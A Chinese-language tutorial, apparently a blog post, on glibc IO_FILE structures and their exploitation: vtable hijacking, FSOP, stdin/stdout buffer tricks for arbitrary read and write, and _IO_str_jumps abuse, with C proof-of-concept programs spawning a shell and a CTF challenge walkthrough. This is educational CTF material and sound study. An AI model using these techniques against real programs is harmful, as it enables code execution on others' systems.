FILE 结构

IO FILE 定义的各种主要结构关系如下图所示。

  • 各种文件结构采用单链表的形式连接起来,通过 _IO_list_all 访问。
  • vatble 为函数指针结构体,存放着各种 IO 相关的函数的指针。
  • 初始情况下 _IO_FILE 结构有 _IO_2_1_stderr__IO_2_1_stdout__IO_2_1_stdin_ 三个,之后如果有文件读写操作则会为对应文件创建一个 _IO_FILE 结构体,并且链接到 _IO_list_all 链表上。

fopen

关键流程大致如下,具体看源码。

fread

关键流程大致如下,具体看源码。

缓冲区如下:

fwrite

关键流程大致如下,具体看源码。

缓冲区如下:

fclose

关键流程大致如下,具体看源码。

伪造 vtable 劫持程序流程

vtable 劫持分为两种,一种是直接改写 vtable 中的函数指针,通过任意地址写就可以实现。另一种是覆盖 vtable 的指针指向我们控制的内存,然后在其中布置函数指针。由于 vtable 一般都不可修改,所以第一种方式不太常见。在 libc2.24 版本之前由于没有 _IO_vtable_check 检查 vtable 地址,因此可以通过伪造 vtable 来调用所需函数 。

IO 调用的 vtable 函数:

fopen 函数是在分配空间,建立 FILE 结构体,未调用 vtable 中的函数。

fread 函数中调用的 vtable 函数有:

  • _IO_sgetn 函数调用了 vtable_IO_file_xsgetn
  • _IO_doallocbuf 函数调用了 vtable_IO_file_doallocate 以初始化输入缓冲区。
  • vtable 中的 _IO_file_doallocate 调用了 vtable 中的 __GI__IO_file_stat 以获取文件信息。
  • __underflow 函数调用了 vtable 中的 _IO_new_file_underflow 实现文件数据读取。
  • vtable 中的 _IO_new_file_underflow 调用了 vtable__GI__IO_file_read 最终去执行系统调用read

fwrite 函数调用的 vtable 函数有:

  • _IO_fwrite 函数调用了 vtable_IO_new_file_xsputn
  • _IO_new_file_xsputn 函数调用了 vtable 中的 _IO_new_file_overflow 实现缓冲区的建立以及刷新缓冲区。
  • vtable 中的 _IO_new_file_overflow 函数调用了 vtable_IO_file_doallocate 以初始化输入缓冲区。
  • vtable 中的 _IO_file_doallocate 调用了 vtable 中的 __GI__IO_file_stat 以获取文件信息。
  • new_do_write 中的 _IO_SYSWRITE 调用了 vtable_IO_new_file_write 最终去执行系统调用write

fclose 函数调用的 vtable 函数有:

  • 在清空缓冲区的 _IO_do_write 函数中会调用 vtable 中的函数。
  • 关闭文件描述符 _IO_SYSCLOSE 函数为 vtable 中的 __close 函数。
  • _IO_FINISH 函数为 vtable 中的 __finish 函数。

下面举一个实际的例子:

#include <stdio.h>
#include<stdlib.h>
#include <string.h>typedef unsigned long long i64;
typedef unsigned char i8;int main() {FILE *fp = fopen("./123.txt", "rw");i64 *fake_vtable = malloc(0x40);fake_vtable[7] = (i64) &system;i64 *vtable_addr = (i64 *) ((i8 *) fp + 0xD8);*vtable_addr = (i64) fake_vtable;memcpy(fp, "sh", 3);fwrite("hi", 2, 1, fp);return 0;
}

使用的 libc 版本如下:

GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:crypt add-on version 2.1 by Michael Glad and othersGNU Libidn by Simon JosefssonNative POSIX Threads Library by Ulrich Drepper et alBIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

此版本 libc 没有 _IO_vtable_check 检查,因此可以随意伪造 vtable
在执行 fwrite 时会调用 vtable 中的 _IO_new_file_xsputn ,参数为对应的 _IO_FILE_plus ,因此在伪造的 vtable 对应位置上写入 system 地址,并在 _IO_FILE_plus 所在地址写入 sh\x00 ,然后调用 fwrite 即可得到 shell 。

例题:2018 HCTF the_end

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{int i; // [rsp+4h] [rbp-Ch]void *buf; // [rsp+8h] [rbp-8h] BYREFsleep(0);printf("here is a gift %p, good luck ;)\n", &sleep);fflush(_bss_start);close(1);close(2);for ( i = 0; i <= 4; ++i ){read(0, &buf, 8uLL);read(0, buf, 1uLL);}exit(1337);
}

分析程序,发现可以获取 libc 基地址,然后有 5 次 1 字节的任意地址写。
exit 函数会执行 _IO_cleanup 函数。

int
_IO_cleanup (void)
{/* We do *not* want locking.  Some threads might use streams butthat is their problem, we flush them underneath them.  */int result = _IO_flush_all_lockp (0);/* We currently don't have a reliable mechanism for making sure thatC++ static destructors are executed in the correct order.So it is possible that other static destructors might want towrite to cout - and they're supposed to be able to do so.The following will make the standard streambufs be unbuffered,which forces any output from late destructors to be written out. */_IO_unbuffer_all ();return result;
}

其中 _IO_flush_all_lockp 函数如果缓冲区有数据没有输出会执行 _IO_overflow_IO_unbuffer_all 函数会执行 _IO_setbuf
这里调试发现只执行后者,因此可以在 _IO_2_1_stderr_ 中伪造 vtable 使得 _IO_setbuf 位置恰好为某个指向 libc 附近的指针。然后再修改 FILE 使得 *vtable 指向伪造的 vtable 。最后 exit 得到 shell 。

FSOP

FSOP 的核心思想就是劫持 _IO_list_all 指向伪造的 _IO_FILE_plus 。之后使程序执行 _IO_flush_all_lockp 函数。该函数会刷新 _IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush ,也对应着会调用 _IO_FILE_plus.vtable 中的 _IO_overflow

在利用时要注意以下几点:

  • 程序执行 _IO_flush_all_lockp 函数有三种情况:

    • libc 执行 abort 流程时
    • 当执行 exit 函数时
    • 当执行流从 main 函数返回时
  • 伪造的 _IO_FILE_plus 中的 FILE 需要绕过如下检查:

    if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW(fp, EOF) == EOF) {result = EOF;
    }
    
  • 由于 vtable 伪造的位置绕不过 _IO_vtable_check 的检查,因此仅适应于 libc2.24 版本以下。

下面举一个 FSOP 的实际例子:

#include <stdio.h>
#include <stdlib.h>typedef unsigned long long i64;int main() {i64 libc_base = (i64) &puts - 0x6F5D0;i64 *ptr = malloc(0x200);ptr[24] = 0x0;//_modeptr[5] = 0x1;//_IO_write_ptrptr[4] = 0x0;//_IO_write_baseptr[27] = (i64) &ptr[32];//*vtableptr[32 + 3] = libc_base + 0x4525A;//_IO_overflowi64 *list_all_ptr = (i64 *) (libc_base + 0x3C4520);list_all_ptr[0] = (i64) ptr;exit(0);
}

使用的 libc 版本如下:

GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.3.1 20160413.
Available extensions:crypt add-on version 2.1 by Michael Glad and othersGNU Libidn by Simon JosefssonNative POSIX Threads Library by Ulrich Drepper et alBIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

上述程序利用过程如下图

最后 exit(0) 进行如下函数调用:

程序执行效果:

缓冲区的相关利用

stdin 标准输入缓冲区进行任意地址写

根据前面对 fread 的分析已经知道通过缓冲区进行输入的大致流程,但要实现任意地址写还要绕过其中具体的检查。

  • _IO_file_xsgetn

    • fp->_IO_buf_base 为空时会执行 _IO_doallocbuf(fp) 初始化缓冲区,因此 fp->_IO_buf_base 不能为空。

            if (fp->_IO_buf_base == NULL) {/* Maybe we already have a push back pointer.  */if (fp->_IO_save_base != NULL) {free(fp->_IO_save_base);fp->_flags &= ~_IO_IN_BACKUP;}_IO_doallocbuf(fp);}
      
    • 如果 fp->_IO_read_end > fp->_IO_read_ptr 会将缓冲区中对应的数据复制到目标地址中,为了避免因为这个出现不必要的问题,最好令 fp->_IO_read_end = fp->_IO_read_ptr
          have = fp->_IO_read_end - fp->_IO_read_ptr;...if (have > 0) {s = __mempcpy(s, fp->_IO_read_ptr, have);want -= have;fp->_IO_read_ptr += have;}
      
    • 如果需要读入的数据长度如果大于缓冲区大小会采用直接读入的方式,因此不能使读入的数据长度如果大于缓冲区大小。
          if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) {if (__underflow(fp) == EOF)break;continue;}
      
  • _IO_new_file_underflow

    • _flags_IO_NO_READS 标志为不能为 1 。标志的定义是 #define _IO_NO_READS 4

          if (fp->_flags & _IO_NO_READS) {fp->_flags |= _IO_ERR_SEEN;__set_errno(EBADF);return EOF;}
      
    • 最终系统调用 _IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base) 读取数据,因此要想利用stdin输入缓冲区需设置 FILE 结构体中 _IO_buf_basewrite_start_IO_buf_endwrite_end 。同时也需将结构体中的 fp->_fileno 设置为 0 ,最终调用 read (fp->_fileno, buf, size)) 读取数据。
          count = _IO_SYSREAD(fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);
      

将上述条件综合表述为:

  • 设置 _IO_read_end 等于 _IO_read_ptr
  • 设置 _flag &~ _IO_NO_READS_flag &~ 0x4。
  • 设置 _fileno 为 0 ,表示读入数据的来源是 stdin
  • 设置 _IO_buf_basewrite_start_IO_buf_endwrite_end ;且使得 _IO_buf_end - _IO_buf_base 大于 fread 要读的数据。

举例:

#include<stdio.h>typedef unsigned long long i64;
char buf[100];int main() {char stack_buf[100];
//    i64 libc_base = (i64) &puts - 0x84420;FILE *fp = fopen("123.txt", "rw");
//    FILE *fp = (FILE *) (libc_base + 0x1EC980);fp->_IO_read_end = fp->_IO_read_ptr = 0x0;fp->_flags &= ~0x4;fp->_fileno = 0x0;fp->_IO_buf_base = (char *) buf;fp->_IO_buf_end = (char *) &buf[99];fread(stack_buf, 1, 3, fp);
//    scanf("%s", stack_buf);printf("buf: %s\n", buf);printf("stack_buf: %s\n", stack_buf);return 0;
}

libc 采用如下版本:

GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.8) stable release version 2.31.
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 9.4.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

运行结果:

aaaaaaaaaaaaaaaaaaa
buf: aaaaaaaaaaaaaaaaaaastack_buf: aaa

stdout 标准输入缓冲区进行任意地址读写

stdout 可以把某地址数据复制到缓冲区,然后输出出来。如果可控 stdout 结构体,通过构造可实现利用其进行任意地址读以及任意地址写。

任意地址写

_IO_new_file_xsputn 函数中有如下操作:

    else if (f->_IO_write_end > f->_IO_write_ptr)count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. *//* Then fill the buffer. */if (count > 0) {if (count > to_do)count = to_do;f->_IO_write_ptr = __mempcpy(f->_IO_write_ptr, s, count);s += count;to_do -= count;}

即当输出缓冲区不满的时候,就将带输出数据复制到输出缓冲区。因此只要将_IO_write_ptr 指向 write_start_IO_write_end 指向 write_end 即可实现在目标地址写入数据。
举例(libc 版本同上):

#include<stdio.h>typedef unsigned long long i64;
char buf[] = "123456";int main() {char stack_buf[] = "abcdefghi";i64 libc_base = (i64) &puts - 0x84420;FILE *fp = (FILE *) (libc_base + 0x1ed6a0);fp->_IO_write_ptr = (char *) &buf[0];fp->_IO_write_end = (char *) &buf[4];puts(stack_buf);printf("buf: %s\n", buf);return 0;
}

运行结果:

efghi
buf: abcd56

其中复制到 buf 中的数据没有输出的原因是 _IO_overflow 函数没有正常执行,接下来任意地址读会有更多分析。

任意地址读

程序正确执行到 _IO_overflow 时会将输出缓冲区中的数据输出出来,只要将要泄露的位置设置为输出缓冲区就可以泄露内容。但还要绕过一系列检查:

  • _IO_new_file_xsputn

    • 如果 f->_IO_write_end > f->_IO_write_ptr 说明输出缓冲区还没有写满,就会将待输出的数据写入缓冲区,实际上 _IO_overflow 只有在输出缓冲区写满的时候才将其输出。因此为了不造成不必要的麻烦,直接令 f->_IO_write_end = f->_IO_write_ptr

          else if (f->_IO_write_end > f->_IO_write_ptr)count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. *//* Then fill the buffer. */if (count > 0) {if (count > to_do)count = to_do;f->_IO_write_ptr = __mempcpy(f->_IO_write_ptr, s, count);s += count;to_do -= count;}
      
  • _IO_new_file_overflow
    • _flags 不能包含 _IO_NO_WRITES ,其中 _IO_NO_WRITES 的值为 0x8 。

          if (f->_flags & _IO_NO_WRITES) /* SET ERROR */{f->_flags |= _IO_ERR_SEEN;__set_errno(EBADF);return EOF;}
      
    • 为了进入如下分枝进造成不必要的麻烦, _flags 应包含 _IO_CURRENTLY_PUTTING ,其中 _IO_CURRENTLY_PUTTING 的值为 0x0800 。

          if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) {...}
      
    • 调用 _IO_do_write 输出缓冲区内容,因此令 _IO_write_base = read_start_IO_write_ptr = read_end

          if (ch == EOF)return _IO_do_write(f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base);
      
  • new_do_write
    • 构造 _flags 包含 _IO_IS_APPENDING 或者 _IO_read_end 等于 _IO_write_base 就可以直接执行到 _IO_SYSWRITE 。其中 _IO_IS_APPENDING 的值为 0x1000 。

       size_t count;if (fp->_flags & _IO_IS_APPENDING)/* On a system without a proper O_APPEND implementation,you would need to sys_seek(0, SEEK_END) here, but isnot needed nor desirable for Unix- or Posix-like systems.Instead, just indicate that offset (before and after) isunpredictable. */fp->_offset = _IO_pos_BAD;else if (fp->_IO_read_end != fp->_IO_write_base){off64_t new_pos= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);if (new_pos == _IO_pos_BAD)return 0;fp->_offset = new_pos;}count = _IO_SYSWRITE (fp, data, to_do);
      
  • 最后 _IO_SYSWRITE 调用 write (f->_fileno, data, to_do) 输出数据,因此还需构造 _fileno 为标准输出描述符 1 。

将上述条件综合描述为:

  • 设置 _flag &~ _IO_NO_WRITES_flag &~ 0x8。
  • 设置 _flag & _IO_CURRENTLY_PUTTING_flag | 0x800
  • 设置 _fileno 为1。
  • 设置 _IO_write_base 指向想要泄露的地方;_IO_write_ptr 指向泄露结束的地址。
  • 设置 _IO_read_end 等于 _IO_write_base 或设置 _flag & _IO_IS_APPENDING_flag | 0x1000。
  • 设置 _IO_write_end 等于 _IO_write_ptr(非必须)。

满足上述五个条件,可实现任意读。
举例:

#include<stdio.h>typedef unsigned long long i64;
char buf[] = "123456";int main() {char stack_buf[] = "abcdefghi";i64 libc_base = (i64) &puts - 0x84420;FILE *fp = (FILE *) (libc_base + 0x1ed6a0);fp->_flags &= ~0x8;fp->_flags |= 0x800;fp->_fileno = 1;fp->_IO_write_base = (char *) buf;fp->_IO_write_ptr = (char *) &buf[6];fp->_IO_read_end = fp->_IO_write_base;puts(stack_buf);return 0;
}

运行结果:

123456abcdefghi

__IO_str_jumps

libc2.24 在 IO_validate_vtable 函数中对 *vtable 指针进行校验:

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{/* Fast path: The vtable pointer is within the __libc_IO_vtablessection.  */uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;const char *ptr = (const char *) vtable;uintptr_t offset = ptr - __start___libc_IO_vtables;if (__glibc_unlikely (offset >= section_length))/* The vtable pointer is not in the expected section.  Use theslow path, which will terminate the process if necessary.  */_IO_vtable_check ();return vtable;
}

vtable 必须要满足 在 __stop___IO_vtables__start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。
但是 _IO_str_jumps__IO_wstr_jumps 就位于 __stop___libc_IO_vtables__start___libc_IO_vtables 之间,所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将 *vtable 填成 _IO_str_jumps__IO_wstr_jumps 地址即可。
利用方式主要有针对 __IO_str_jumps 中的 _IO_str_finsh 函数和 _IO_str_overflow 两种。

确定 __IO_str_jumps 地址

由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps 中的导出函数例如 _IO_str_underflow 进行辅助定位。首先先得到 _IO_str_underflow 地址,然后查找所有指向该地址的指针。由于 _IO_str_underflow_IO_str_jumps 的偏移为 0x20 ,并且 _IO_str_jumps 的地址大于 _IO_file_jumps 地址,因此可以在选择满足上述条件中最小的地址作为 _IO_str_jumps 的地址。

from bisect import *IO_file_jumps = libc.symbols['_IO_file_jumps']
IO_str_underflow = libc.symbols['_IO_str_underflow']
IO_str_underflow_ptr = list(libc.search(p64(IO_str_underflow)))
IO_str_jumps = IO_str_underflow_ptr[bisect_left(IO_str_underflow_ptr, IO_file_jumps + 0x20)] - 0x20
print hex(IO_str_jumps)

io_str_finish

libc 直到 2.27 版本,_IO_str_finish 都是下面这种实现手段。也就是说,如果修改 ((_IO_strfile *) fp)->_s._free_buffersystem 地址,然后修改 fp->_IO_buf_base/bin/sh 字符串地址,然后触发程序执行 _IO_str_finish 函数就可以得到 shell 。

void
_IO_str_finish (_IO_FILE *fp, int dummy)
{if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);fp->_IO_buf_base = NULL;_IO_default_finish (fp, 0);
}

具体的攻击流程如下:

  • 修改 vatble 指针
    根据前面 FSOP 的思路,可以通过使程序执行 _IO_flush_all_lockp 函数,进而执行 _IO_overflow 。此时如果将 vatble 指针修改为指向 &_IO_str_jumps - 8 的地址就可以执行 _IO_str_finish
  • 伪造 _IO_FILE
    与 FSOP 基本一致。

    • 要满足 fp->_IO_buf_base 不为空,并且由于它作为 fp->_s._free_buffer 的第一个参数,因此可以使用 /bin/sh 的地址。
    • fp->_flags 要不包含 _IO_USER_BUF,它的定义为 #define _IO_USER_BUF 1,即 fp->_flags 最低位为 0
    • 缓冲区需要有数据,即 _IO_write_base < _IO_write_ptr
    • _mode 需要小于等于 0 。
  • 修改 ((_IO_strfile *) fp)->_s._free_buffersystem 地址,即将 fp+0xE8 除的值改为 system 地址。
  • 最后通过 exit 等手段使程序执行 _IO_flush_all_lockp 函数,最终得到 shell 。

下面举一个实际例子:

#include <stdio.h>
#include<stdlib.h>typedef unsigned long long i64;
typedef unsigned char i8;int main() {//    i64 *fp = malloc(0x200);FILE *fp = fopen("./123.txt", "rw");i64 libc_base = (i64) &system - 0x4F440;i64 bin_sh_addr = libc_base + 0x1B3E9A;i64 IO_str_jump_addr = libc_base + 0x3E8360;i64 fake_IO_file_jump_addr = IO_str_jump_addr - 0x8;*(i64 *) fp &= ~1ULL;*(i64 *) ((i8 *) fp + 0xE8) = (i64) &system;//((_IO_strfile *) fp)->_s._free_buffer*(i64 *) ((i8 *) fp + 0xD8) = fake_IO_file_jump_addr;//*vtable*((i64 *) fp + 24) = 0x0;//_mode*((i64 *) fp + 4) = 0x0;//_IO_write_base*((i64 *) fp + 5) = 0x1;//_IO_write_ptr*((i64 *) fp + 7) = bin_sh_addr;//_IO_buf_base
//    i64 *list_all_ptr = (i64 *) (libc_base + 0x3ec660);
//    list_all_ptr[0] = (i64) fp;exit(0);
}

libc 版本为:

GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.3.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

运行结果:

linux IO_FILE 利用相关推荐

  1. 好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc

    前言 本来是在做tcache attack的例题的,但是wiki上的challenge2考察的重点不仅仅是在tcache.题目程序中没有输出的功能,所以无法像往常一样去泄露libc,这个时候就需要进行 ...

  2. 【CTF资料-0x0002】PWN简易Linux堆利用入门教程by arttnba3

    [CTF资料-0x0002]简易Linux堆利用入门教程by arttnba3 老生常谈,[GITHUB BLOG ADDR](https://arttnba3.cn/2021/05/10/NOTE- ...

  3. 在Linux上利用python获取本机ip

    下面介绍在Linux上利用python获取本机ip的方法. 经过网上调查, 发现大致有两种方法, 一种是调用shell脚本,另一种是利用python中的socket等模块来得到,下面是这两种方法的源码 ...

  4. Linux下利用rsync实现多服务器文件同步

    Linux下利用rsync实现多服务器文件同步 目标:多服务器文件同步 环境:2台centos5.6 Web端:192.168.20.20 Backup端:192.168.20.21 需要备份目录为: ...

  5. linux下利用openssl来实现证书的颁发(详细步骤)--转载和修改

    原文地址:http://www.cnblogs.com/firtree/p/4028354.html linux下利用openssl来实现证书的颁发(详细步骤) 1.首先需要安装openssl,一个开 ...

  6. 【java】 linux下利用nohup后台运行jar文件包程序

    Linux 运行jar包命令如下: 方式一: java -jar XXX.jar 特点:当前ssh窗口被锁定,可按CTRL + C打断程序运行,或直接关闭窗口,程序退出 那如何让窗口不锁定? 方式二 ...

  7. 嵌入式 linux下利用backtrace追踪函数调用堆栈以及定位段错误

    嵌入式 linux下利用backtrace追踪函数调用堆栈以及定位段错误 2015-05-27 14:19 184人阅读 评论(0) 收藏 举报  分类: 嵌入式(928)  一般察看函数运行时堆栈的 ...

  8. linux fb应用例子,Linux下利用framebuffer画点的程序小例子

    Linux下利用framebuffer画点的程序小例子: /* * ================================================================== ...

  9. Linux: 如何利用HandBrake将DVD光碟转成各式影片档

    之前本站已经有写过关于Handbrake的教学: 如何将租回来的DVD转成电脑可播放的影片档 ,不过因为那篇教学比较旧了,而且新版的Handbrake也有些改变,甚至为了转档效率,目前Handbrak ...

最新文章

  1. c语言struct_Introduction to CSAPP(十七):复杂数据组织与C语言的 struct与union
  2. CF、FM、DSSM、DeepFM等这些推荐模型的原理以及使用场景是什么?
  3. 不写程序,整体就泡 土豆网电视剧
  4. pascal和python的区别_Python如何与其他编程语言不同
  5. Linux系统编程41:多线程之线程池的概念及实现
  6. php 进程管理及操作
  7. Python多线程编程方式1(转)
  8. 【NER】NLP-入门实体命名识别(NER)+Bilstm-CRF模型原理Pytorch代码详解——最全攻略...
  9. 探索webpack热更新对代码打包结果的影响(二)
  10. IE6和IE7的line-height和现代浏览器不一致的问题
  11. Sql 语句里 As后的竟然可以和前边的字段重名
  12. Swift - 使用UIScrollView实现页面滚动切换
  13. Word把普通表格改为三线表格的方法
  14. 硬件仿真加速器(emulator)
  15. 考研数学常用基础知识默写版
  16. 665. Non-decreasing Array
  17. TCL/TK脚本应用tclkit工具打包
  18. W801单片机学习笔记——调试器的配置与使用(适用于W801和W806)
  19. 文件夹删不掉?有种文件夹叫 畸形文件夹
  20. 金融行业开源软件研究评测报告——JSON组件

热门文章

  1. 堆栈的区别及增长方向
  2. 笔记本 触摸板无法使用 解决办法
  3. oracle常见日期函数
  4. 布法罗博士计算机专业回国人员,2020年纽约州立大学布法罗分校博士专业设置...
  5. JavaScript——移动端网页特效
  6. 圣思园将于本周日(10月31日)举行Web Service开发大型免费公开课
  7. 俺也上IPV6了 顺便推荐几个IPV6视频站点
  8. spring boot 集成xxl-job 学习总结
  9. JVM参数太多?一网打尽常用JVM参数!
  10. 每日一算法7--35选7彩票程序